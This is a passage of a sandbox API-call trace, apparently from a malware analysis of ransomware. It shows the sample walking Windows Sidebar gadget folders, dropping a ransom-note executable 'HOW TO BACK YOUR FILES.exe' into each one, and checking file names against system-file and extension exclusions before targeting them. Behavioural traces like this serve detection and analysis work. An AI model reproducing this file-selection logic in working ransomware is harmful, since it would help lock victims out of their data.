	[0060.936] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0060.936] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js") returned 66
	[0060.936] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js"
	[0060.936] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.936] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\js\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.940] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.940] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3c65aeb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c65aeb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0060.940] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.940] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.940] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0060.940] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3c65aeb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c65aeb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.940] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.940] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0060.940] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0060.940] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0060.940] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c65aeb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3c65aeb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0060.940] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0060.940] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd96c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="slideShow.js", cAlternateFileName="")) returned 1
	[0060.940] lstrcmpiW (lpString1="slideShow.js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.940] lstrcmpiW (lpString1="slideShow.js", lpString2="Apollon865.txt.exe") returned 1
	[0060.940] lstrcmpiW (lpString1="slideShow.js", lpString2=".") returned 1
	[0060.940] lstrcmpiW (lpString1="slideShow.js", lpString2="..") returned 1
	[0060.940] lstrcmpiW (lpString1="slideShow.js", lpString2="windows") returned -1
	[0060.940] lstrcmpiW (lpString1="slideShow.js", lpString2="bootmgr") returned 1
	[0060.940] lstrcmpiW (lpString1="slideShow.js", lpString2="temp") returned -1
	[0060.940] lstrcmpiW (lpString1="slideShow.js", lpString2="pagefile.sys") returned 1
	[0060.940] lstrcmpiW (lpString1="slideShow.js", lpString2="boot") returned 1
	[0060.941] lstrcmpiW (lpString1="slideShow.js", lpString2="ids.txt") returned 1
	[0060.941] lstrcmpiW (lpString1="slideShow.js", lpString2="ntuser.dat") returned 1
	[0060.941] lstrcmpiW (lpString1="slideShow.js", lpString2="perflogs") returned 1
	[0060.941] lstrcmpiW (lpString1="slideShow.js", lpString2="MSBuild") returned 1
	[0060.941] lstrlenW (lpString="slideShow.js") returned 12
	[0060.941] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*") returned 68
	[0060.941] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="slideShow.js" | out: lpString1="slideShow.js") returned="slideShow.js"
	[0060.941] lstrlenW (lpString="slideShow.js") returned 12
	[0060.941] lstrlenW (lpString="Apollon865") returned 10
	[0060.941] lstrcmpiW (lpString1="ideShow.js", lpString2="Apollon865") returned 1
	[0060.941] lstrlenW (lpString=".dll") returned 4
	[0060.941] lstrcmpiW (lpString1="slideShow.js", lpString2=".dll") returned 1
	[0060.941] lstrlenW (lpString=".lnk") returned 4
	[0060.941] lstrcmpiW (lpString1="slideShow.js", lpString2=".lnk") returned 1
	[0060.941] lstrlenW (lpString=".ini") returned 4
	[0060.941] lstrcmpiW (lpString1="slideShow.js", lpString2=".ini") returned 1
	[0060.941] lstrlenW (lpString=".sys") returned 4
	[0060.941] lstrcmpiW (lpString1="slideShow.js", lpString2=".sys") returned 1
	[0060.941] lstrlenW (lpString="slideShow.js") returned 12
	[0060.941] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css"
	[0060.941] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0060.941] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0060.941] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css") returned 67
	[0060.941] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css"
	[0060.941] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.941] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.945] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.945] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3c65aeb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c65aeb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0060.945] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.945] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.945] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0060.945] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3c65aeb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c65aeb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.945] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.945] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0060.945] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0060.945] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0060.945] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c65aeb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3c65aeb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0060.945] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0060.945] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x510, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1
	[0060.946] lstrcmpiW (lpString1="settings.css", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.946] lstrcmpiW (lpString1="settings.css", lpString2="Apollon865.txt.exe") returned 1
	[0060.946] lstrcmpiW (lpString1="settings.css", lpString2=".") returned 1
	[0060.946] lstrcmpiW (lpString1="settings.css", lpString2="..") returned 1
	[0060.946] lstrcmpiW (lpString1="settings.css", lpString2="windows") returned -1
	[0060.946] lstrcmpiW (lpString1="settings.css", lpString2="bootmgr") returned 1
	[0060.946] lstrcmpiW (lpString1="settings.css", lpString2="temp") returned -1
	[0060.946] lstrcmpiW (lpString1="settings.css", lpString2="pagefile.sys") returned 1
	[0060.946] lstrcmpiW (lpString1="settings.css", lpString2="boot") returned 1
	[0060.946] lstrcmpiW (lpString1="settings.css", lpString2="ids.txt") returned 1
	[0060.946] lstrcmpiW (lpString1="settings.css", lpString2="ntuser.dat") returned 1
	[0060.946] lstrcmpiW (lpString1="settings.css", lpString2="perflogs") returned 1
	[0060.946] lstrcmpiW (lpString1="settings.css", lpString2="MSBuild") returned 1
	[0060.946] lstrlenW (lpString="settings.css") returned 12
	[0060.946] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*") returned 69
	[0060.946] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="settings.css" | out: lpString1="settings.css") returned="settings.css"
	[0060.946] lstrlenW (lpString="settings.css") returned 12
	[0060.946] lstrlenW (lpString="Apollon865") returned 10
	[0060.946] lstrcmpiW (lpString1="ttings.css", lpString2="Apollon865") returned 1
	[0060.946] lstrlenW (lpString=".dll") returned 4
	[0060.946] lstrcmpiW (lpString1="settings.css", lpString2=".dll") returned 1
	[0060.946] lstrlenW (lpString=".lnk") returned 4
	[0060.946] lstrcmpiW (lpString1="settings.css", lpString2=".lnk") returned 1
	[0060.946] lstrlenW (lpString=".ini") returned 4
	[0060.946] lstrcmpiW (lpString1="settings.css", lpString2=".ini") returned 1
	[0060.946] lstrlenW (lpString=".sys") returned 4
	[0060.946] lstrcmpiW (lpString1="settings.css", lpString2=".sys") returned 1
	[0060.946] lstrlenW (lpString="settings.css") returned 12
	[0060.946] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="slideShow.css" | out: lpString1="slideShow.css") returned="slideShow.css"
	[0060.946] lstrlenW (lpString="slideShow.css") returned 13
	[0060.947] lstrlenW (lpString="Apollon865") returned 10
	[0060.947] lstrcmpiW (lpString1="deShow.css", lpString2="Apollon865") returned 1
	[0060.947] lstrlenW (lpString=".dll") returned 4
	[0060.947] lstrcmpiW (lpString1="slideShow.css", lpString2=".dll") returned 1
	[0060.947] lstrlenW (lpString=".lnk") returned 4
	[0060.947] lstrcmpiW (lpString1="slideShow.css", lpString2=".lnk") returned 1
	[0060.947] lstrlenW (lpString=".ini") returned 4
	[0060.947] lstrcmpiW (lpString1="slideShow.css", lpString2=".ini") returned 1
	[0060.947] lstrlenW (lpString=".sys") returned 4
	[0060.947] lstrcmpiW (lpString1="slideShow.css", lpString2=".sys") returned 1
	[0060.947] lstrlenW (lpString="slideShow.css") returned 13
	[0060.947] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget"
	[0060.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591840 | out: hHeap=0x580000) returned 1
	[0060.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0060.947] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget") returned 56
	[0060.947] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget"
	[0060.947] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.947] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.955] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.955] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3c681010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c681010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0060.955] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.955] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.955] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0060.955] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3c681010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c681010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.955] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.955] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0060.956] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0060.956] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="drag.png" | out: lpString1="drag.png") returned="drag.png"
	[0060.956] lstrlenW (lpString="drag.png") returned 8
	[0060.956] lstrlenW (lpString="Apollon865") returned 10
	[0060.956] lstrlenW (lpString=".dll") returned 4
	[0060.956] lstrcmpiW (lpString1="drag.png", lpString2=".dll") returned 1
	[0060.956] lstrlenW (lpString=".lnk") returned 4
	[0060.956] lstrcmpiW (lpString1="drag.png", lpString2=".lnk") returned 1
	[0060.956] lstrlenW (lpString=".ini") returned 4
	[0060.956] lstrcmpiW (lpString1="drag.png", lpString2=".ini") returned 1
	[0060.956] lstrlenW (lpString=".sys") returned 4
	[0060.956] lstrcmpiW (lpString1="drag.png", lpString2=".sys") returned 1
	[0060.956] lstrlenW (lpString="drag.png") returned 8
	[0060.956] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0060.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0060.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf4e0
	[0060.956] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0060.956] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c65aeb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3c65aeb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0060.956] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0060.956] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce029cd, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3ce029cd, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3ce029cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1d07, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1
	[0060.956] lstrcmpiW (lpString1="icon.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.956] lstrcmpiW (lpString1="icon.png", lpString2="Apollon865.txt.exe") returned 1
	[0060.956] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="icon.png" | out: lpString1="icon.png") returned="icon.png"
	[0060.956] lstrlenW (lpString="icon.png") returned 8
	[0060.956] lstrlenW (lpString="Apollon865") returned 10
	[0060.956] lstrlenW (lpString=".dll") returned 4
	[0060.956] lstrcmpiW (lpString1="icon.png", lpString2=".dll") returned 1
	[0060.956] lstrlenW (lpString=".lnk") returned 4
	[0060.957] lstrcmpiW (lpString1="icon.png", lpString2=".lnk") returned 1
	[0060.957] lstrlenW (lpString=".ini") returned 4
	[0060.957] lstrcmpiW (lpString1="icon.png", lpString2=".ini") returned 1
	[0060.957] lstrlenW (lpString=".sys") returned 4
	[0060.957] lstrcmpiW (lpString1="icon.png", lpString2=".sys") returned 1
	[0060.957] lstrlenW (lpString="icon.png") returned 8
	[0060.957] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="images" | out: lpString1="images") returned="images"
	[0060.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0060.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf898
	[0060.957] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0060.957] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cff1b93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0060.957] lstrcmpiW (lpString1="logo.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.957] lstrcmpiW (lpString1="logo.png", lpString2="Apollon865.txt.exe") returned 1
	[0060.957] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="logo.png" | out: lpString1="logo.png") returned="logo.png"
	[0060.957] lstrlenW (lpString="logo.png") returned 8
	[0060.957] lstrlenW (lpString="Apollon865") returned 10
	[0060.957] lstrlenW (lpString=".dll") returned 4
	[0060.957] lstrcmpiW (lpString1="logo.png", lpString2=".dll") returned 1
	[0060.957] lstrlenW (lpString=".lnk") returned 4
	[0060.957] lstrcmpiW (lpString1="logo.png", lpString2=".lnk") returned 1
	[0060.957] lstrlenW (lpString=".ini") returned 4
	[0060.957] lstrcmpiW (lpString1="logo.png", lpString2=".ini") returned 1
	[0060.957] lstrlenW (lpString=".sys") returned 4
	[0060.957] lstrcmpiW (lpString1="logo.png", lpString2=".sys") returned 1
	[0060.957] lstrlenW (lpString="logo.png") returned 8
	[0060.957] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images"
	[0060.957] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0060.957] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0060.958] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images") returned 63
	[0060.958] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images"
	[0060.958] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.958] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.967] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.967] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3c681010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c681010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0060.967] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.967] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.967] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="16-on-black.gif" | out: lpString1="16-on-black.gif") returned="16-on-black.gif"
	[0060.967] lstrlenW (lpString="16-on-black.gif") returned 15
	[0060.967] lstrlenW (lpString="Apollon865") returned 10
	[0060.967] lstrcmpiW (lpString1="-black.gif", lpString2="Apollon865") returned 1
	[0060.967] lstrlenW (lpString=".dll") returned 4
	[0060.967] lstrcmpiW (lpString1="16-on-black.gif", lpString2=".dll") returned 1
	[0060.967] lstrlenW (lpString=".lnk") returned 4
	[0060.967] lstrcmpiW (lpString1="16-on-black.gif", lpString2=".lnk") returned 1
	[0060.967] lstrlenW (lpString=".ini") returned 4
	[0060.967] lstrcmpiW (lpString1="16-on-black.gif", lpString2=".ini") returned 1
	[0060.967] lstrlenW (lpString=".sys") returned 4
	[0060.967] lstrcmpiW (lpString1="16-on-black.gif", lpString2=".sys") returned 1
	[0060.967] lstrlenW (lpString="16-on-black.gif") returned 15
	[0060.967] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="buttonDown_Off.png" | out: lpString1="buttonDown_Off.png") returned="buttonDown_Off.png"
	[0060.968] lstrlenW (lpString="buttonDown_Off.png") returned 18
	[0060.968] lstrlenW (lpString="Apollon865") returned 10
	[0060.968] lstrcmpiW (lpString1="wn_Off.png", lpString2="Apollon865") returned 1
	[0060.968] lstrlenW (lpString=".dll") returned 4
	[0060.968] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2=".dll") returned 1
	[0060.968] lstrlenW (lpString=".lnk") returned 4
	[0060.968] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2=".lnk") returned 1
	[0060.968] lstrlenW (lpString=".ini") returned 4
	[0060.968] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2=".ini") returned 1
	[0060.968] lstrlenW (lpString=".sys") returned 4
